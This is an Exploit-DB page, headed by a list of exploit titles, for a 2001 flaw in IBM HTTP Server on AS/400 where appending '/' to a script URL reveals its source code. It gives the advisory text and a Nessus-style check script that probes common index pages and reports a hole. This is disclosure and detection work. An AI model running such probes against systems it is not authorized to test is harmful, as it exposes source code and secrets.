
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
105 lines
No EOL
2.7 KiB
Text
105 lines
No EOL
2.7 KiB
Text
source: https://www.securityfocus.com/bid/3518/info
|
|
|
|
Due to an input validation error in IBM HTTP Server for the AS/400, it is possible for a remote attacker to make a specially web crafted web request which will display script source code.
|
|
|
|
If a '/' is appended to the end of a request for an existing script, then this will cause the script's source code to be displayed.
|
|
|
|
There is a potential that this issue may result in sensitive information being disclosed to attackers, depending on the contents of the script source code.
|
|
|
|
*It has been reported that the source of this issue is due to WebSphere Application server 3.5.4. However this has not yet been confirmed by the vendor.
|
|
|
|
s script was written by Felix Huber <huberfelix@webtopia.de>
|
|
#
|
|
# v. 1.00 (last update 08.11.01)
|
|
|
|
if(description)
|
|
{
|
|
script_id(?????????);
|
|
name["english"] = "IBM-HTTP-Server View Code";
|
|
script_name(english:name["english"]);
|
|
|
|
desc["english"] = "
|
|
IBM's HTTP Server on the AS/400 platform is vulnerable to an attack
|
|
that will show the source code of the page -- such as an .html or .jsp
|
|
page -- by attaching an '/' to the end of a URL.
|
|
|
|
Example:
|
|
http://www.foo.com/getsource.jsp/
|
|
|
|
Solution : Not yet
|
|
|
|
|
|
Risk factor : High";
|
|
|
|
|
|
script_description(english:desc["english"]);
|
|
|
|
summary["english"] = "IBM-HTTP-Server View Code";
|
|
|
|
script_summary(english:summary["english"]);
|
|
|
|
script_category(ACT_GATHER_INFO);
|
|
|
|
|
|
script_copyright(english:"This script is Copyright (C) 2001 Felix Huber");
|
|
family["english"] = "CGI abuses";
|
|
script_family(english:family["english"]);
|
|
script_dependencie("find_service.nes");
|
|
script_dependencie("httpver.nasl");
|
|
script_require_ports("Services/www", 80);
|
|
exit(0);
|
|
}
|
|
|
|
#
|
|
# The script code starts here
|
|
#
|
|
|
|
port = get_kb_item("Services/www");
|
|
if(!port)port = 80;
|
|
|
|
dir[0] = "/index.html";
|
|
dir[1] = "/index.htm";
|
|
dir[2] = "/index.jsp";
|
|
dir[3] = "/default.html";
|
|
dir[4] = "/default.htm";
|
|
dir[5] = "/default.jsp";
|
|
dir[6] = "/home.html";
|
|
dir[7] = "/home.htm";
|
|
dir[8] = "/home.jsp";
|
|
|
|
if(get_port_state(port))
|
|
{
|
|
|
|
for (i = 0; dir[i] ; i = i + 1)
|
|
{
|
|
|
|
|
|
|
|
soc = http_open_socket(port);
|
|
|
|
if(soc)
|
|
|
|
{
|
|
url = string(dir[i], "/");
|
|
|
|
|
|
req = http_get(item:url, port:port);
|
|
send(socket:soc, data:req);
|
|
r = recv(socket:soc, length:409600);
|
|
close(soc);
|
|
|
|
#display(r);
|
|
|
|
if("Server: IBM-HTTP-Server/1.0" >< r)
|
|
{
|
|
if("Content-Type: www/unknown" >< r)
|
|
{
|
|
#security_hole(port);
|
|
display("Security Hole detected\n");
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
} |